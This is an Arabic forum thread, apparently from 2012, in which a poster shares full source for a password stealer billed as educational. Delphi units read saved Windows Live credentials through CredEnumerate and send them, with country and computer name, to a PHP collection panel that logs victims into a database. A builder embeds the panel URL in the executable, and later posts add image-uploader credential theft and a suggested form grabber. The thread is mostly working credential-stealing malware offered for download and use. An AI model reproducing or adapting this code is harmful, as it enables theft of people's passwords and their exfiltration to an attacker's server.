ستلر تعليمي من برمجتي
#1
برمجة ستلر
المثال تعليمي فقط وكذلك لنجعل هذه البرامج ليست حكرا على الغرب
لوحة البيانات
[صورة: 20121104080221.jpg]
لوحة الدخول
[صورة: 20121104080823.jpg]

السكربت كامل مرفق وهو من برمجتي بالكامل وقد وضعت نسخة منه في موقع opensc.ws

اما الكود سورس فهو كذلك بالكامل الا بعض الدوال
ولقد تم تعديل دالة ايجاد كلمة مرور المسنجر حيث كانت قديما تكون النتيجة من هذا الشكل
a #0b#0c#0d#0....
PHP كود :
^
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas';

var 
i:integer;
begin
for I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl('http://127.0.0.1/site_01/get.php?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 
PHP كود :
unit unitfunctions;
interface
uses Windows,WinInet;
function 
UserName: String;
procedure OpenUrl(const url: string);
function 
StrPas(const Str: PChar): string;
function 
Country: string;
implementation
function StrPas(const Str: PChar): string;begin Result := Str; end;
function 
Username: String;var Cap: array[1..64] of Char;sz: DWord; begin     sz := SizeOf(Cap) ;    GetComputerName(@Cap, sz); Result := StrPas(@cap);end;
procedure OpenUrl(const url: string);begin InternetOpenUrl(InternetOpen('', 0, nil, nil, 0), PChar(url), nil, 0, 0, 0)end; // by onexite
function Country: string;var Temp: array [0..255] of Char;begin FillChar(Temp, sizeOf(Temp), #0);GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SENGCOUNTRY, Temp, sizeOf(Temp));Result := string(Temp); end;
end. 
والوحدة الاخيرة
PHP كود :
WindowsLive.pas;

unit WindowsLive;
interface
uses Windows;

type
TStrArray 
= array of string;

function 
GETPassWords:TStrArray;
implementation
 type
 CREDENTIAL_ATTRIBUTEA 
= record
  Keyword
: LPSTR;
  
Flags: DWORD;
  
ValueSize: DWORD;
  
Value: PBYTE;
 
end;
 
PCREDENTIAL_ATTRIBUTE = ^CREDENTIAL_ATTRIBUTEA;
 
CREDENTIALA = record
  Flags
: DWORD;
  
Type_: DWORD;
  
TargetName: LPSTR;
  
Comment: LPSTR;
  
LastWritten: FILETIME;
  
PassWordSize: DWORD;
  
PassWord: DWORD;
  
Persist: DWORD;
  
AttributeCount: DWORD;
  
Attributes: PCREDENTIAL_ATTRIBUTE;
  
TargetAlias: LPSTR;
  
UserName: LPSTR;
 
end;
 
PCREDENTIAL = array of ^CREDENTIALA;
var
 
CredEnumerate: function(Filter: LPCSTR; Flags: DWORD; var Count: DWORD; var Credential: PCREDENTIAL): BOOL; stdcall;
 
CredFree: function(Buffer: Pointer): BOOL; stdcall;

function 
Trimstr(text: String): String; //by onexite
var  i: Integer;
begin
Result
:='';
for 
i:=0 to Length(text)-1 do
 if 
text[i] <> #0 then Result := Result + text[i]
end;

function 
GETPassWords: TStrArray;
var
  
Collection: PCREDENTIAL;
  
Count, i: DWORD;
  
Handle: THandle;
begin
  Handle 
:= LoadLibrary('advapi32.dll');
  {
$IFDEF UNICODE}
  @
CredEnumerate := GetProcAddress(Handle, 'CredEnumerateW');
  {
$ELSE}
  @
CredEnumerate := GetProcAddress(Handle, 'CredEnumerateA');
  {
$ENDIF UNICODE}
  @
CredFree := GetProcAddress(Handle, 'CredFree');
  
CredEnumerate('WindowsLive:name=*', 0, Count, Collection);
  if 
Count = 0 then exit;
  for 
I := 0 to count-1  do begin
   SetLength
(Result,Length(Result)+2);
   
Result[(i*2)]:=Collection[i].UserName ;
   
Result[(2*i)+1]:=Trimstr(String(Collection[i].PassWord));
  
end;
  
FreeLibrary(Handle);
end;

end. 
عليكم بتعديل نتيجة الفنكسيون قات باسوورد
بتغيير تحديد الحجم ب +1 بدل + 2
وتكون النتيجة الامايل + | + الباسوورد اي result[i] := user+|+pass

اما سكربت الاستقبال فهو بسيط جدا يستقبل سترينق ويقسمها حيث تكون من هذا الشكل user|pass|country|pc|pass2
ونضعهم في قاعدة البيانات

PHP كود :
<?php
require("config.php");
$ip      =$_SERVER["REMOTE_ADDR"];
$data    =explode('|',$_GET['data']);
$user    =$data[0];
$pass    =$data[1];
$Country    =$data[2];
$nam_pc  =$data[3];
$password=$data[4];

if (
$password == $oldpass)
{
mysql_query("INSERT INTO base_01 (ip, username, password, Country, nampc) VALUES ('$ip','$user', '$pass', '$Country','$nam_pc')")or die('Error');
} else  echo 
'Access is Denied!';
?>
بالتوفيق للجميع

السورس كامل


الملفات المرفقة
.rar   site_01.rar (الحجم : 3.61 ك ب / التحميلات : 262)
.rar   http_01.rar (الحجم : 1.5 ك ب / التحميلات : 227)
الرد
#2
أردت اخي أن توقع بالناس (أتمنى أن يكونو اسرائليين محتلين) لكن أنت الضحية...لأكن لمن تحمي الصفحة من ثغرة SQL Injection
أترك لك البحث لكي تستفيد
بالتوفيق أخي الكريم
لا اله الا أنت سبحانك اني كنت من الضالمين
الرد
#3
شكرا لك اعلم بذلك
يمكن استخدام هذه الفنكسيون للحماية
PHP كود :
function clean($str) {
$str = @trim($str);
if(
get_magic_quotes_gpc()) {
$str = stripslashes($str);
}
return 
mysql_real_escape_string($str);
} 

ونعدل index.php
PHP كود :
mysql_query("DELETE FROM base_01 WHERE id = ".clean($_GET['id'])); 
وكذلك
get.php
PHP كود :
$data    =explode('|',clean($_GET['data'])); 
الرد
#4
البويلدر
PHP كود :
program builder;

uses
  Dialogs
;

procedure WriteEof(FileName, Res, Delimit1, Delimit2 :String);
var
  
F: TextFile;
begin
  AssignFile
(F,FileName);
  
Append(F);
  
Writeln(F,Delimit1+Res+Delimit2);
  
CloseFile(F);
end;

 var 
opn:TOpenDialog ;
begin
  opn
:=TOpenDialog.Create(nil);
  
opn.Filter:='*.exe';
  
opn.Title:='Select Server..';
  
opn.FileName:='Project3.exe';
if  
opn.Execute then  begin
try
    
WriteEof(opn.FileName, inputbox('url','type url :','http://127.0.0.1/site_01/get.php'), '|1|', '|2|') ;
    
ShowMessage('ok');
  finally
  
opn.Free
  end
;
  
end;
end. 

PHP كود :
unit uReadFile;

interface
uses Windows;

var 
url:string;
function 
ReadEof(x1, x2 :String) :String;

implementation

function ReadFile(FileName: String): AnsiString;
var
  
F :File;
  
Buffer :AnsiString;
  
Size,ReadBytes :Integer;
  
DefaultFileMode:Byte;
begin
  Result 
:= '';
  
DefaultFileMode := FileMode;
  
FileMode := 0;
  
AssignFile(F, FileName);
  
Reset(F, 1);
  if (
IOResult = 0) then
  begin
    Size 
:= FileSize(F);
    while (
Size > 1024) do
    
begin
      SetLength
(Buffer, 1024);
      
BlockRead(F, Buffer[1], 1024, ReadBytes);
      
Result := Result + Buffer;
      
Dec(Size, ReadBytes);
    
end;
    
SetLength(Buffer, Size);
    
BlockRead(F, Buffer[1], Size);
    
Result := Result + Buffer;
    
CloseFile(F);
  
end;
  
FileMode := DefaultFileMode;
end;

function 
ReadEof(x1, x2 :String) :String;
var
  
Buffer:AnsiString;
  
ResLength,i, Posx :Integer;
begin
  Buffer 
:= ReadFile(ParamStr(0));
  if 
Pos(x1, Buffer) > Pos(x2, Buffer) then
    Posx 
:= Length(Buffer)-(Pos(x1, Buffer)+Length(x1))
  else 
Posx := Length(Buffer)-(Pos(x2, Buffer)+Length(x2));
  
Buffer := Copy(Buffer, (Length(Buffer)-Posx), Length(Buffer));
  
ResLength := Pos(x2, Buffer)-(Pos(x1, Buffer)+Length(x1));
  for 
i := 0 to (Reslength-1) do
    
Result := Result+Buffer[Pos(x1, Buffer)+(Length(x1)+i)];
end;
end. 

وتعديل السرفر
PHP كود :
program Project3;
uses
  WindowsLive in 
'WindowsLive.pas',
  
unitfunctions in 'unitfunctions.pas',
  
uReadFile in 'uReadFile.pas';

var 
i:integer;
begin
url
:=ReadEof('|1|','|2|');
for 
I := 0 to length(getPassWords)-1 do // getPassWords = user|pass
OpenUrl(url+'?data='+getPassWords[i]+'|'+Country+'|'+Username+'|')
end. 
الكتابة في ملف تنفيذي لقد وضعت موضوع من قبل
Write EOF, Read EOF مع مثال بسيط
الرد
#5
تم اضافة خانة جديدة نظام التشغيل وتغيير الشكل جذريا
لوحة التحكم
[صورة: 20121106121357.jpg]
لوحة الدخول
[صورة: 20121106121414.jpg]
كل الملفات في المرفقات


الملفات المرفقة
.rar   site_01.rar (الحجم : 26.84 ك ب / التحميلات : 132)
.rar   http_2.rar (الحجم : 3.67 ك ب / التحميلات : 133)
الرد
#6
اخر التعديلات
اصبح متعدد التطبيقات
+ اضافة سحب محفوضات رافع الصور
[صورة: 20121106231610.jpg]
لتجريب الشكل الجديد
PHP كود :
#mytable {
    
width: 83%;
    
padding: 0;
    
margin: 0;
    
border-left: 0.1px solid #3c5884;
}
-------------------------------------------------
body {
    
font: normal 10px auto "Trebuchet MS", Verdana, Arial, Helvetica, sans-serif;
    
color: #454545;
    
font-size: 13px;
    
background: url("images/background.png") repeat fixed left top #0492DE;
} 
الرد
#7
صفحة الدخول

[صورة: 20121129102551.png]

لوحة التحكم

[صورة: 20121130143705.png]
الرد
#8
السكربت كامل


الملفات المرفقة
.7z   site_02.7z (الحجم : 21.06 ك ب / التحميلات : 166)
الرد
#9
السلام عليكم يا اخي ومشكور على الطرح
لا تدري يا اخي كم كنت أبحث على هذا السكربت لأخذ نضرة عن برنامج إستلر في سحب الباسوردات وشكرا مرة اخرى يا اخي
الرد
#10
برمجة قوية أخي
شكرا لك وجاري التحميل
لو أضفت له formgrapper
لصار الأفضل على الإطلاق
تحياتي لك Smile
الرد


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم